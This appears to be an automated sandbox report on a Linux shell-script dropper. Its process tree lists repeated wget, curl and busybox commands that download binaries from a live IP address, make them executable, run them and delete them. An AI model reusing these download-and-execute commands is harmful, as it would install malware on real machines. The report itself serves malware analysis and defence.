Analysis

  • max time kernel
    24s
  • max time network
    26s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    14/11/2024, 03:18

General

  • Target
    f064d9b048e7a9ebfafd42ad6312891eb24fe7887284fafac08ecb4d8547ec6a.sh
  • Size 10KB
  • Sample241114-dtx28stjaw
  • SHA256 f064d9b048e7a9ebfafd42ad6312891eb24fe7887284fafac08ecb4d8547ec6a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 30 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/f064d9b048e7a9ebfafd42ad6312891eb24fe7887284fafac08ecb4d8547ec6a.sh
    /tmp/f064d9b048e7a9ebfafd42ad6312891eb24fe7887284fafac08ecb4d8547ec6a.sh
    1⤵
      PID:660
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:662
        • /usr/bin/wget
          wget http://216.126.231.240/bins/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
          2⤵
            PID:665
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:682
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
            2⤵
              PID:691
            • /bin/chmod
              chmod 777 rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
              2⤵
              • File and Directory Permissions Modification
              PID:693
            • /tmp/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
              ./rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
              2⤵
              • Executes dropped EXE
              PID:694
            • /bin/rm
              rm rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
              2⤵
                PID:695
              • /usr/bin/wget
                wget http://216.126.231.240/bins/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
                2⤵
                  PID:696
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:697
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
                  2⤵
                    PID:710
                  • /bin/chmod
                    chmod 777 qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
                    2⤵
                    • File and Directory Permissions Modification
                    PID:715
                  • /tmp/qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
                    ./qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
                    2⤵
                    • Executes dropped EXE
                    PID:717
                  • /bin/rm
                    rm qyCnZJ5Sqk6oxhJgUJH1ssQuiWAYm4vYnr
                    2⤵
                      PID:718
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/jMz018FmqirIthXno2QOE7F6cNd83CvXXY
                      2⤵
                        PID:720
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/jMz018FmqirIthXno2QOE7F6cNd83CvXXY
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:727
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/jMz018FmqirIthXno2QOE7F6cNd83CvXXY
                        2⤵
                          PID:735
                        • /bin/chmod
                          chmod 777 jMz018FmqirIthXno2QOE7F6cNd83CvXXY
                          2⤵
                          • File and Directory Permissions Modification
                          PID:743
                        • /tmp/jMz018FmqirIthXno2QOE7F6cNd83CvXXY
                          ./jMz018FmqirIthXno2QOE7F6cNd83CvXXY
                          2⤵
                          • Executes dropped EXE
                          PID:745
                        • /bin/rm
                          rm jMz018FmqirIthXno2QOE7F6cNd83CvXXY
                          2⤵
                            PID:746
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
                            2⤵
                              PID:747
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:753
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
                              2⤵
                                PID:755
                              • /bin/chmod
                                chmod 777 iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
                                2⤵
                                • File and Directory Permissions Modification
                                PID:756
                              • /tmp/iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
                                ./iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
                                2⤵
                                • Executes dropped EXE
                                PID:757
                              • /bin/rm
                                rm iv4c8JysYuHJvbhRma1GzoMM3YnCOG2tXY
                                2⤵
                                  PID:758
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
                                  2⤵
                                    PID:759
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:764
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
                                    2⤵
                                      PID:771
                                    • /bin/chmod
                                      chmod 777 cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:777
                                    • /tmp/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
                                      ./cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
                                      2⤵
                                      • Executes dropped EXE
                                      PID:779
                                    • /bin/rm
                                      rm cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
                                      2⤵
                                        PID:780
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
                                        2⤵
                                          PID:781
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:788
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
                                          2⤵
                                            PID:797
                                          • /bin/chmod
                                            chmod 777 IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:798
                                          • /tmp/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
                                            ./IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
                                            2⤵
                                            • Executes dropped EXE
                                            PID:799
                                          • /bin/rm
                                            rm IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
                                            2⤵
                                              PID:800
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
                                              2⤵
                                                PID:801
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:802
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
                                                2⤵
                                                  PID:803
                                                • /bin/chmod
                                                  chmod 777 Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:804
                                                • /tmp/Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
                                                  ./Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:805
                                                • /bin/rm
                                                  rm Es6MiN5WzwpSTugRMvTgayPgDFbBpZYYb0
                                                  2⤵
                                                    PID:806
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
                                                    2⤵
                                                      PID:807
                                                    • /usr/bin/curl
                                                      curl -O http://216.126.231.240/bins/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:808
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
                                                      2⤵
                                                        PID:809
                                                      • /bin/chmod
                                                        chmod 777 Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:810
                                                      • /tmp/Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
                                                        ./Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:811
                                                      • /bin/rm
                                                        rm Y5YOy13iVAQXMyJ1t6fzIDoXuyGBPtVGg2
                                                        2⤵
                                                          PID:812
                                                        • /usr/bin/wget
                                                          wget http://216.126.231.240/bins/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
                                                          2⤵
                                                            PID:813
                                                          • /usr/bin/curl
                                                            curl -O http://216.126.231.240/bins/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:814
                                                          • /bin/busybox
                                                            /bin/busybox wget http://216.126.231.240/bins/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
                                                            2⤵
                                                              PID:815
                                                            • /bin/chmod
                                                              chmod 777 ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:816
                                                            • /tmp/ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
                                                              ./ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:817
                                                            • /bin/rm
                                                              rm ew5XxM5yfsIMC4YvaJo6sPimptMp3yfV4p
                                                              2⤵
                                                                PID:818
                                                              • /usr/bin/wget
                                                                wget http://216.126.231.240/bins/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
                                                                2⤵
                                                                  PID:819
                                                                • /usr/bin/curl
                                                                  curl -O http://216.126.231.240/bins/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:820
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://216.126.231.240/bins/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
                                                                  2⤵
                                                                    PID:821
                                                                  • /bin/chmod
                                                                    chmod 777 FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:822
                                                                  • /tmp/FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
                                                                    ./FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:823
                                                                  • /bin/rm
                                                                    rm FfOTFgueVMJAtK7pHeQKMDxnmcPBMbd7eP
                                                                    2⤵
                                                                      PID:824
                                                                    • /usr/bin/wget
                                                                      wget http://216.126.231.240/bins/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
                                                                      2⤵
                                                                        PID:825
                                                                      • /usr/bin/curl
                                                                        curl -O http://216.126.231.240/bins/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:826
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://216.126.231.240/bins/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
                                                                        2⤵
                                                                          PID:827
                                                                        • /bin/chmod
                                                                          chmod 777 DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:829
                                                                        • /tmp/DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
                                                                          ./DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:830
                                                                        • /bin/rm
                                                                          rm DmPLb6Tc3QZMkd2SyhaVS0wzI0ecuwwAfI
                                                                          2⤵
                                                                            PID:831
                                                                          • /usr/bin/wget
                                                                            wget http://216.126.231.240/bins/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
                                                                            2⤵
                                                                              PID:832
                                                                            • /usr/bin/curl
                                                                              curl -O http://216.126.231.240/bins/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:834
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://216.126.231.240/bins/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
                                                                              2⤵
                                                                                PID:835
                                                                              • /bin/chmod
                                                                                chmod 777 BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:836
                                                                              • /tmp/BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
                                                                                ./BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:837
                                                                              • /bin/rm
                                                                                rm BCDmLdkmM5D1bhEzTVoUiYVjKNEQzoRMx2
                                                                                2⤵
                                                                                  PID:838
                                                                                • /usr/bin/wget
                                                                                  wget http://216.126.231.240/bins/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
                                                                                  2⤵
                                                                                    PID:839
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://216.126.231.240/bins/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:840
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://216.126.231.240/bins/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
                                                                                    2⤵
                                                                                      PID:841
                                                                                    • /bin/chmod
                                                                                      chmod 777 s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:842
                                                                                    • /tmp/s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
                                                                                      ./s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:843
                                                                                    • /bin/rm
                                                                                      rm s45lvV1K474ofmcNwNK414hXZBMOCYnE5B
                                                                                      2⤵
                                                                                        PID:844
                                                                                      • /usr/bin/wget
                                                                                        wget http://216.126.231.240/bins/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
                                                                                        2⤵
                                                                                          PID:845
                                                                                        • /usr/bin/curl
                                                                                          curl -O http://216.126.231.240/bins/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
                                                                                          2⤵
                                                                                          • Checks CPU configuration
                                                                                          • Reads runtime system information
                                                                                          • Writes file to tmp directory
                                                                                          PID:846
                                                                                        • /bin/busybox
                                                                                          /bin/busybox wget http://216.126.231.240/bins/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
                                                                                          2⤵
                                                                                            PID:847
                                                                                          • /bin/chmod
                                                                                            chmod 777 f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
                                                                                            2⤵
                                                                                            • File and Directory Permissions Modification
                                                                                            PID:848
                                                                                          • /tmp/f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
                                                                                            ./f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:849
                                                                                          • /bin/rm
                                                                                            rm f47uxlAMen7dzA4K47gsoTEIUktHUtjbtp
                                                                                            2⤵
                                                                                              PID:850
                                                                                            • /usr/bin/wget
                                                                                              wget http://216.126.231.240/bins/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
                                                                                              2⤵
                                                                                                PID:851
                                                                                              • /usr/bin/curl
                                                                                                curl -O http://216.126.231.240/bins/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
                                                                                                2⤵
                                                                                                • Checks CPU configuration
                                                                                                • Reads runtime system information
                                                                                                • Writes file to tmp directory
                                                                                                PID:852
                                                                                              • /bin/busybox
                                                                                                /bin/busybox wget http://216.126.231.240/bins/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
                                                                                                2⤵
                                                                                                  PID:853
                                                                                                • /bin/chmod
                                                                                                  chmod 777 cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
                                                                                                  2⤵
                                                                                                  • File and Directory Permissions Modification
                                                                                                  PID:854
                                                                                                • /tmp/cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
                                                                                                  ./cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
                                                                                                  2⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:855
                                                                                                • /bin/rm
                                                                                                  rm cEGEIHGdxnY0x08euKC0u5fr1kKINFRcr4
                                                                                                  2⤵
                                                                                                    PID:856
                                                                                                  • /usr/bin/wget
                                                                                                    wget http://216.126.231.240/bins/IoK8hUPVrGlFR0Kb6yLTbZrgKBkpEvqrk4
                                                                                                    2⤵
                                                                                                      PID:857

                                                                                                  Network

                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                        Replay Monitor

                                                                                                        Loading Replay Monitor...

                                                                                                        Downloads

                                                                                                        rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu

                                                                                                        • Path /tmp/rVJ9W48EiBkY2qKPChyniNtNM7aSW0i2Zu
                                                                                                        • Size 153B
                                                                                                        • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                                                                        • MD5 SHA1 SHA512